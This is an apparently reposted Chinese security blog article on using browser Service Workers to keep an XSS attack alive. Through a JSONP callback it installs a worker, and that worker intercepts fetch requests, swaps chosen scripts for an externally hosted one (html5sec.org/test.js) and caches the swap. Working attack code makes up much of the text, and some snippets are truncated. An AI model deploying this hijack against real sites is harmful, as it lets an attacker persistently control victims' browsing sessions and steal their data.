来源:http://www.mottoin.com/95058.html

作者:长短短

0x01 前言

今天给大家介绍一项新的浏览器技术:Service Workers,以及在 XSS 攻击中的利用方式。

在利用 XSS 进行攻击的过程中经常会遇到一个问题,就是目标触发一次 XSS 水坑之后就不再触发了,但窃取到的信息并不足以进行下一步攻击,这时候我们就需要「持久化 XSS」的技术。在过去有很多种方式来提高 XSS 在线时间,如 opener hijack、link hijack、HTTP cache hijack,前两项的提升有限,后一项要求较高需要 CRLF Inject 来完成。

Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript。

了解 ServiceWorker 最快的办法是在 Chrome 下打开 chrome://serviceworker-internals,如下图:

nstallation Status 表示是否被激活,Script 是我们安装的脚本。

在攻击的时候我们的安装脚本通常是使用 JSONP 接口来完成,如:

[https://target.com/user/xxx?callback=.get('//html5sec.org/test.js'))

通过这种方式来完成 ServiceWorker 的安装要求。Payload 中用到的 trick 是 jQuery.get 函数会自动将返回头 content-type 为 */javascript 的资源作为 JS 代码执行。

0x02 安装

安装方式:

if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register('/user/xxx?callback=alert(1)')
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};

安装之后可以通过开发者工具查看是否成功:

  1. 进入 chrome://flags 开启 ‘Enable DevTools Experiments’.
  2. 打开DevTools, 进入 Setting > Experiments , 连续按shift键6下
  3. 在DevTools的Resources页面里就能看到刚被开启的隐藏功能:

serviceworkers2

如果安装脚本出现错误则会显示:

serviceworkers3

0x03 攻击思路

安装好之后,现在应该考虑如何植入攻击脚本?

在编写攻击脚本之前我们需要先了解一个浏览器技术的概念叫:Web Worker。

「Web Worker 是HTML5标准的一部分,这一规范定义了一套 API,它允许一段JavaScript程序运行在主线程之外的另外一个线程中。Web Worker 规范中定义了两类工作线程,分别是专用线程Dedicated Worker和共享线程 Shared Worker,其中,Dedicated Worker只能为一个页面所使用,而Shared Worker则可以被多个页面所共享。」

ServiceWorker 的脚本在后台运行过程中用的就是 Worker,这里我不多介绍 Worker 的用法,但我们需要知道 Worker 的一些限制。

在 worker 线程中,可以获得下列对象

Worker 线程不能获得下列对象

上述的规范,限制了在worker线程中获得主线程页面相关对象的能力,所以在worker线程中,不能进行dom元素的更新。也就是说在 Worker 的作用域中我们难以完成 XSS 攻击,所以还是得通过劫持站内的 JS 来完成攻击。

当 Service Worker 安装成功,并且用户浏览了另一个页面或刷新当前页面后,Service Worker 开始接收 fetch 事件,也就是感染脚本,我把它命名为 swhihack.js。

首先是监听 fetch 事件:

self.addEventListener('fetch', function(event) {
//worker context
});

将 response 进行缓存:

function requestBackend(event){
var url = event.request.clone();
 if(url=='xxxxxx'){//判断是否为需要劫持的资源
url.url='//html5sec.org/test.js';
 }
 return fetch(url).then(function(res){
 //检测是否为有效响应
 if(!res || res.status !== 200 || res.type !== 'basic'){
 return res;
 }
 var response = res.clone();
 caches.open(CACHE_VERSION).then(function(cache){
 cache.put(event.request, response);
 });

 return res;
 })
}

完工:

self.addEventListener('fetch', function (event) {
 event.respondWith(
 caches.match(event.request).then(function(res){
 if(res){//如果有缓存则使用缓存
 return res;
 }
 return requestBackend(event);//没缓存就进行缓存
 })
 )
});

二向箔安全微信公众号

20170106234958


源链接

Hacking more

...